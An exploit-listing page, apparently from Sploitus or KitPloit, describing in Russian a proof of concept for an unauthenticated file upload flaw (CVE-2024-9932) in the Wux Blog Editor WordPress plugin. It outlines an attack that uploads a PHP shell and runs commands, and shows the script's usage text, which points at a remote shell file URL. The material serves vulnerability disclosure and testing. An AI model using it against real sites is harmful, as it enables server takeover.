Sploitus

Exploit for CVE-2024-9932-POC

kitploit · 2026-08-28

Exploit Code

MARKDOWN36 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2024-9932-POC
# CVE-2024-9932-POC

# Описание:

Плагин Wux Blog Editor для WordPress подвержен уязвимости произвольной загрузки файлов из-за недостаточной проверки типа файла в функции wuxbt_insertImageNew. Затронуты версии до 3.0.0 включительно. Эта уязвимость позволяет неавторизованным злоумышленникам загружать произвольные файлы на сервер, что потенциально может привести к удаленному выполнению кода (RCE).

## Детали уязвимости

Уязвимость возникает из-за неправильной проверки типа файла в функции wuxbt_insertImageNew. Это позволяет злоумышленникам загружать вредоносные файлы на сервер без аутентификации.

Сценарий атаки:

root@kitploit:~
    
    
    Злоумышленник находит сайт, использующий уязвимый плагин.
    Эксплуатирует функцию загрузки файлов для загрузки вредоносного PHP-шелла.
    Выполняет команды на скомпрометированном сервере.
    

### Использование

root@kitploit:~
    
    
    usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
    
    Wux Blog Editor - Arbitrary File Upload
    
    options:
      -h, --help            show this help message and exit
      -u URL, --url URL     Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
      -ur REMOTE_URL,       --remote-url REMOTE_URL
                            Remote file URL, e.g., http://192.168.100.54/shell.txt
      -n NAME, --name NAME  Desired file name, e.g., Nxploit.php